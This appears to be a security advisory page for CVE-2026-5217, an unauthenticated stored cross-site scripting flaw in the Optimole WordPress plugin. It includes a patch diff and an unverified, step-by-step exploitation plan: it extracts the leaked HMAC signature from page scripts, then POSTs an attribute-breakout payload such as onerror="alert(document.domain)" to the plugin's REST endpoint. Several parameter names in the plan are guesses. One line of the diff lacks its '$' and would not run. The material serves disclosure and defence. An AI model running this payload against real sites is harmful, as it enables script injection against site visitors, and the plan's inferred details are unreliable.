CVE-2026-5217

Optimole <= 4.2.2 - Unauthenticated Stored Cross-Site Scripting via Srcset Descriptor Parameter

highImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
7.2
CVSS Score
7.2
CVSS Score
high
Severity
4.2.3
Patched in
1d
Time to patch

Description

The Optimole – Optimize Images | Convert WebP & AVIF | CDN & Lazy Load | Image Optimization plugin for WordPress is vulnerable to Stored Cross-Site Scripting in all versions up to, and including, 4.2.2. This is due to insufficient input sanitization and output escaping on the user-supplied 's' parameter (srcset descriptor) in the unauthenticated /wp-json/optimole/v1/optimizations REST endpoint. The endpoint validates requests using an HMAC signature and timestamp, but these values are exposed directly in the frontend HTML making them accessible to any visitor. The plugin uses sanitize_text_field() on the descriptor value of rest.php, which strips HTML tags but does not escape double quotes. The poisoned descriptor is then stored via transients (backed by the WordPress options table) and later retrieved and injected verbatim into the srcset attribute of tag_replacer.php without proper escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts into pages that will execute whenever a user accesses the injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=4.2.2
PublishedApril 10, 2026
Last updatedApril 11, 2026
Affected pluginoptimole-wp

What Changed in the Fix

Changes introduced in v4.2.3

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-5217 - Optimole Stored XSS ## 1. Vulnerability Summary The **Optimole** plugin for WordPress is vulnerable to **Unauthenticated Stored Cross-Site Scripting (XSS)** via the `s` parameter in its custom REST API endpoint `/wp-json/optimole/v1/optimizations`. Th…

Show full research plan

Exploitation Research Plan: CVE-2026-5217 - Optimole Stored XSS

1. Vulnerability Summary

The Optimole plugin for WordPress is vulnerable to Unauthenticated Stored Cross-Site Scripting (XSS) via the s parameter in its custom REST API endpoint /wp-json/optimole/v1/optimizations.

The vulnerability exists because:

  1. The REST endpoint accepts a srcset descriptor (parameter s) and sanitizes it using sanitize_text_field(). While this function strips HTML tags, it does not escape double quotes (").
  2. The plugin validates the request using an HMAC signature and a timestamp. However, these values are generated by the server and localized into the frontend HTML, making them retrievable by any unauthenticated visitor.
  3. The unsanitized descriptor is stored in a WordPress transient (options table).
  4. When rendering image tags, inc/tag_replacer.php retrieves the stored descriptor and injects it directly into the srcset attribute of <img> tags without additional escaping, allowing an attacker to break out of the attribute and inject arbitrary event handlers (e.g., onload, onerror).

2. Attack Vector Analysis

  • REST Endpoint: /wp-json/optimole/v1/optimizations
  • Method: POST (inferred from the nature of an "optimizations" update)
  • Vulnerable Parameter: s (The srcset descriptor)
  • Authentication: Unauthenticated (but requires HMAC/Timestamp validation).
  • Preconditions:
    • The plugin must be active and "connected" (meaning API keys are set, though dummy keys may suffice for the code path to trigger).
    • At least one image must be present on a page to trigger the Optml_Tag_Replacer logic and provide the signature.

3. Code Flow

  1. Entry Point: An unauthenticated POST request hits /wp-json/optimole/v1/optimizations.
  2. Validation: The handler in rest.php (inferred) checks the provided signature and timestamp against an HMAC generated using the site's secret.
  3. Processing: The value of the s parameter is processed:
    • $descriptor = sanitize_text_field( $request['s'] );
  4. Storage: The descriptor is stored in a transient. Transient names in Optimole typically follow a pattern involving the image hash or URL.
  5. Sink: In inc/tag_replacer.php, the method process_image_tags (or similar filtering logic like filter_srcset_attr) is called during page rendering.
  6. Injection: The plugin constructs the srcset attribute:
    // Conceptual representation of the sink in tag_replacer.php
    $srcset .= $url . ' ' . $descriptor . ', ';
    // ... later echoed into the attribute
    
  7. Result: The resulting HTML contains the breakout: srcset="...image.jpg 1200w" onerror="alert(1)" ..."

4. Nonce Acquisition Strategy

This exploit requires a valid HMAC Signature and Timestamp which the plugin uses instead of a standard WordPress Nonce for this specific REST endpoint.

  1. Mechanism: The plugin enqueues a script that includes configuration data. Based on standard Optimole behavior, this is localized under the global JavaScript object optimoleData.
  2. Extraction Path:
    1. Create a post/page containing a standard image.
    2. Navigate to the page using browser_navigate.
    3. Execute browser_eval to extract the necessary tokens from the global JS object.
  3. Variable Identification:
    • Target Object: window.optimoleData
    • Key for Signature: optimoleData.signature (inferred)
    • Key for Timestamp: optimoleData.timestamp (inferred)
    • Key for Endpoint: optimoleData.endpoint (useful for confirming the REST URL)

5. Exploitation Strategy

Step 1: Discover Validation Tokens

Use the browser to visit the homepage and find the localized data.

// Example browser_eval call
const signature = window.optimoleData.signature;
const timestamp = window.optimoleData.timestamp;
return { signature, timestamp };

Step 2: Send Poisoned Optimization Request

Using the http_request tool, send a POST request to the optimizations endpoint.

  • URL: {{BASE_URL}}/wp-json/optimole/v1/optimizations
  • Method: POST
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body:
    s=1200w" onerror="alert(document.domain)" "
    &signature={{extracted_signature}}
    &timestamp={{extracted_timestamp}}
    &id={{image_id_or_url}}
    
    (Note: The exact structure of the id or identifier parameter for the image depends on rest.php. It might be url or img_id. The payload for s includes a trailing double quote to maintain attribute syntax if necessary).

Step 3: Trigger Execution

Visit any page where the targeted image is rendered. The Optml_Tag_Replacer will fetch the cached/stored descriptor (now containing the payload) and render it.

6. Test Data Setup

  1. Plugin Configuration:
    • Activate optimole-wp.
    • "Connect" the plugin by setting a dummy API key to ensure the image replacer is active:
      wp option update optml_settings '{"api_key":"dummy","service_data":{"cdn_key":"dummy","cdn_secret":"dummy"},"image_replacer":"enabled"}' --format=json
  2. Target Content:
    • Create a page with an image:
      wp post create --post_type=page --post_title="XSS Test" --post_content='<!-- wp:image {"id":1} --><figure class="wp-block-image size-full"><img src="http://{{DOMAIN}}/wp-content/uploads/test.jpg" alt=""/></figure><!-- /wp:image -->' --post_status=publish

7. Expected Results

  1. The POST request to /wp-json/optimole/v1/optimizations should return a 200 OK or 201 Created response.
  2. When viewing the "XSS Test" page, the source code for the <img> tag should look like:
    <img srcset=".../test.jpg 1200w" onerror="alert(document.domain)" " ..." ...>
    
  3. An alert box should appear in the browser.

8. Verification Steps

  1. Check Transients: Verify the malicious payload is stored in the database:
    wp transient get --all | grep "alert" or wp option get _transient_optml_...
  2. HTML Inspection: Use browser_navigate to the test page and check the outerHTML of the image tag to confirm the onerror attribute exists.

9. Alternative Approaches

  • Different Sink: If the s parameter is not the descriptor but part of the URL generation, the payload might need to be shifted to a URL-breakout: s=1200w&id=http://example.com/image.jpg?#"><img src=x onerror=alert(1)>.
  • Lazyload Breakout: If Optimole's lazy-loading is enabled, the XSS might be injected into data-opt-src or data-srcset attributes, which are later parsed by the Optimole JS. The payload remains the same: use double quotes to escape the attribute.
  • Signature Guessing: If the signature is per-site and not per-image, any signature found in the HTML will work for any image update. If it's per-image, the attacker must find the specific signature for the image they wish to poison. Documented behavior suggests the signature is often a general authentication token for the REST API session.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Optimole plugin for WordPress is vulnerable to unauthenticated stored Cross-Site Scripting (XSS) via the 's' (srcset descriptor) parameter in its optimizations REST endpoint. An attacker can exploit this by utilizing a leaked HMAC signature and timestamp to inject a malicious descriptor that breaks out of the 'srcset' attribute when rendered in the plugin's tag replacer logic.

Vulnerable Code

// inc/tag_replacer.php (around line 504)

$optimized_url = $this->change_url_for_size( $new_url, $width, $height, $dpr );

if ( $optimized_url ) {
    $new_srcset_entries[] = $optimized_url . ' ' . $descriptor;
    // ... (truncated)

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/optimole-wp/4.2.2/inc/admin.php /home/deploy/wp-safety.org/data/plugin-versions/optimole-wp/4.2.3/inc/admin.php
--- /home/deploy/wp-safety.org/data/plugin-versions/optimole-wp/4.2.2/inc/admin.php	2026-01-08 15:13:44.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/optimole-wp/4.2.3/inc/admin.php	2026-04-01 09:57:40.000000000 +0000
@@ -131,11 +131,33 @@
 		if ( headers_sent() ) {
 			return;
 		}
-		$policy = 'ch-viewport-width=(self "%1$s")';
+		$policy = $this->get_permissions_policy();
+		if ( empty( $policy ) ) {
+			return;
+		}
+		header( sprintf( 'Permissions-Policy: %s', $policy ), false );
+	}
+
+	/**
+	 * Build the Permissions-Policy header value based on active settings.
+	 *
+	 * @return string Comma-separated policy directives, or empty string when none apply.
+	 */
+	public function get_permissions_policy(): string {
+		$parts       = [];
+		$service_url = esc_url( Optml_Config::$service_url );
+
+		if ( $this->settings->is_scale_enabled() ) {
+			$parts[] = sprintf( 'ch-viewport-width=(self "%s")', $service_url );
+		}
 		if ( $this->settings->get( 'network_optimization' ) === 'enabled' ) {
-			$policy .= ', ch-ect=(self "%1$s")';
+			$parts[] = sprintf( 'ch-ect=(self "%s")', $service_url );
+		}
+		if ( $this->settings->get( 'retina_images' ) === 'enabled' ) {
+			$parts[] = sprintf( 'ch-dpr=(self "%s")', $service_url );
 		}
-		header( sprintf( 'Permissions-Policy: %s', sprintf( $policy, esc_url( Optml_Config::$service_url ) ) ), false );
+
+		return implode( ', ', $parts );
 	}
 	/**
 	 * Function that purges the image cache for a specific file.
@@ -1071,14 +1093,38 @@
 			return;
 		}
 
-		$hints = 'Viewport-Width';
-		if ( $this->settings->get( 'network_optimization' ) === 'enabled' ) {
-			$hints .= ', ECT';
+		$hints = $this->get_accept_ch_hints();
+		if ( empty( $hints ) ) {
+			return;
 		}
 		echo sprintf( '<meta http-equiv="Accept-CH" content="%s" />', esc_attr( $hints ) );
 	}
 
 	/**
+	 * Build the Accept-CH meta content value based on active settings.
+	 *
+	 * Mirrors the directives used in get_permissions_policy() so both
+	 * the Permissions-Policy header and the Accept-CH meta stay in sync.
+	 *
+	 * @return string Comma-separated hint tokens, or empty string when none apply.
+	 */
+	public function get_accept_ch_hints(): string {
+		$hints = [];
+
+		if ( $this->settings->is_scale_enabled() ) {
+			$hints[] = 'Viewport-Width';
+		}
+		if ( $this->settings->get( 'network_optimization' ) === 'enabled' ) {
+			$hints[] = 'ECT';
+		}
+		if ( $this->settings->get( 'retina_images' ) === 'enabled' ) {
+			$hints[] = 'DPR';
+		}
+
+		return implode( ', ', $hints );
+	}
+
+	/**
 	 * Update daily the quota routine.
 	 */
 	public function daily_sync() {
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/optimole-wp/4.2.2/inc/settings.php /home/deploy/wp-safety.org/data/plugin-versions/optimole-wp/4.2.3/inc/settings.php
--- /home/deploy/wp-safety.org/data/plugin-versions/optimole-wp/4.2.2/inc/settings.php	2026-03-25 10:54:40.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/optimole-wp/4.2.3/inc/settings.php	2026-04-01 09:57:40.000000000 +0000
@@ -59,7 +59,7 @@
 		'cdn'                        => 'disabled',
 		'admin_bar_item'             => 'enabled',
 		'lazyload'                   => 'disabled',
-		'scale'                      => 'disabled',
+		'scale'                      => 'disabled', // Due to legacy reasons the disabled state means that the scale is enabled and the enabled state means that the scale is disabled.
 		'network_optimization'       => 'enabled',
 		'lazyload_placeholder'       => 'enabled',
 		'bg_replacer'                => 'enabled',
@@ -662,6 +662,14 @@
 	public function is_best_format() {
 		return $this->get( 'best_format' ) === 'enabled';
 	}
+	/**
+	 * Check if scale is enabled.
+	 *
+	 * @return bool Scale enabled
+	 */
+	public function is_scale_enabled() {
+		return $this->get( 'scale' ) === 'disabled'; // Due to legacy reasons the disabled state means that the scale is enabled and the enabled state means that the scale is disabled.
+	}
 
 	/**
 	 * Check if offload limit was reached.
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/optimole-wp/4.2.2/inc/tag_replacer.php /home/deploy/wp-safety.org/data/plugin-versions/optimole-wp/4.2.3/inc/tag_replacer.php
--- /home/deploy/wp-safety.org/data/plugin-versions/optimole-wp/4.2.2/inc/tag_replacer.php	2025-12-12 08:42:18.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/optimole-wp/4.2.3/inc/tag_replacer.php	2026-04-01 09:57:40.000000000 +0000
@@ -504,7 +504,11 @@
 			$optimized_url = $this->change_url_for_size( $new_url, $width, $height, $dpr );
 
 			if ( $optimized_url ) {
-				$new_srcset_entries[] = $optimized_url . ' ' . $descriptor;
+				escaped_url = esc_url( $optimized_url );
+				if ( empty( $escaped_url ) ) {
+					continue;
+				}
+				$new_srcset_entries[] = $escaped_url . ' ' . esc_attr( $descriptor );
 
 				// Add sizes attribute entry for responsive breakpoints
 				if ( $breakpoint > 0 ) {

Exploit Outline

To exploit this vulnerability, an unauthenticated attacker first obtains the valid HMAC signature and timestamp from the front-end of the target site (typically localized in the global `optimoleData` JavaScript object). The attacker then sends a POST request to the `/wp-json/optimole/v1/optimizations` endpoint containing the leaked signature, timestamp, and a malicious payload in the 's' parameter (e.g., `1200w" onerror="alert(1)"`). The plugin sanitizes this parameter with `sanitize_text_field()`, which fails to escape the double quote. The payload is stored in a transient and subsequently injected verbatim into the `srcset` attribute of image tags processed by `inc/tag_replacer.php`, leading to execution of the injected script when the page is viewed.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.